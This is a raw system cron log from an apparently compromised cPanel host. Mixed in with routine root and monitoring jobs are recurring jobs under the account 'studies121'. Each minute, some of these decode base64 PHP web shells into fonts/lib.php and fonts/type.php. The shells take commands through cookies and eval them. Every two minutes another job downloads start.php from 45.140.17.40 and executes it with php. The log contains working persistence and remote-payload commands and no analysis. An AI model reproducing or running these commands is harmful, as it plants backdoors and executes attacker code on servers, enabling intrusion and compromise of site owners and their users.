Sep  8 02:47:01 ip-184-168-122-23 CROND[26986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:47:01 ip-184-168-122-23 CROND[26987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:47:01 ip-184-168-122-23 CROND[26988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:48:01 ip-184-168-122-23 CROND[27086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:48:01 ip-184-168-122-23 CROND[27085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:48:01 ip-184-168-122-23 CROND[27084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:48:01 ip-184-168-122-23 CROND[27087]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:48:01 ip-184-168-122-23 CROND[27088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:49:01 ip-184-168-122-23 CROND[27203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:49:01 ip-184-168-122-23 CROND[27214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:49:01 ip-184-168-122-23 CROND[27213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:49:01 ip-184-168-122-23 CROND[27215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:50:01 ip-184-168-122-23 CROND[27325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:50:01 ip-184-168-122-23 CROND[27326]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 02:50:01 ip-184-168-122-23 CROND[27330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:50:01 ip-184-168-122-23 CROND[27332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:50:01 ip-184-168-122-23 CROND[27331]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 02:50:01 ip-184-168-122-23 CROND[27335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:50:01 ip-184-168-122-23 CROND[27334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:50:01 ip-184-168-122-23 CROND[27336]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:50:01 ip-184-168-122-23 CROND[27333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:51:01 ip-184-168-122-23 CROND[27513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:51:01 ip-184-168-122-23 CROND[27515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:51:01 ip-184-168-122-23 CROND[27514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:51:01 ip-184-168-122-23 CROND[27516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:52:01 ip-184-168-122-23 CROND[27613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:52:01 ip-184-168-122-23 CROND[27616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:52:01 ip-184-168-122-23 CROND[27615]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:52:01 ip-184-168-122-23 CROND[27617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:52:01 ip-184-168-122-23 CROND[27619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:53:01 ip-184-168-122-23 CROND[27702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:53:01 ip-184-168-122-23 CROND[27701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:53:01 ip-184-168-122-23 CROND[27703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:53:01 ip-184-168-122-23 CROND[27704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:54:01 ip-184-168-122-23 CROND[27787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:54:01 ip-184-168-122-23 CROND[27786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:54:01 ip-184-168-122-23 CROND[27788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:54:01 ip-184-168-122-23 CROND[27789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:54:01 ip-184-168-122-23 CROND[27790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:55:01 ip-184-168-122-23 CROND[27899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:55:01 ip-184-168-122-23 CROND[27897]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:55:01 ip-184-168-122-23 CROND[27896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:55:01 ip-184-168-122-23 CROND[27898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:55:01 ip-184-168-122-23 CROND[27900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:55:01 ip-184-168-122-23 CROND[27901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:56:01 ip-184-168-122-23 CROND[28012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:56:01 ip-184-168-122-23 CROND[28013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:56:01 ip-184-168-122-23 CROND[28016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:56:01 ip-184-168-122-23 CROND[28014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:56:01 ip-184-168-122-23 CROND[28017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:57:01 ip-184-168-122-23 CROND[28102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:57:01 ip-184-168-122-23 CROND[28105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:57:01 ip-184-168-122-23 CROND[28104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:57:01 ip-184-168-122-23 CROND[28103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:58:01 ip-184-168-122-23 CROND[28248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:58:01 ip-184-168-122-23 CROND[28251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:58:01 ip-184-168-122-23 CROND[28252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:58:01 ip-184-168-122-23 CROND[28255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:58:01 ip-184-168-122-23 CROND[28253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:59:01 ip-184-168-122-23 CROND[28413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:59:01 ip-184-168-122-23 CROND[28414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
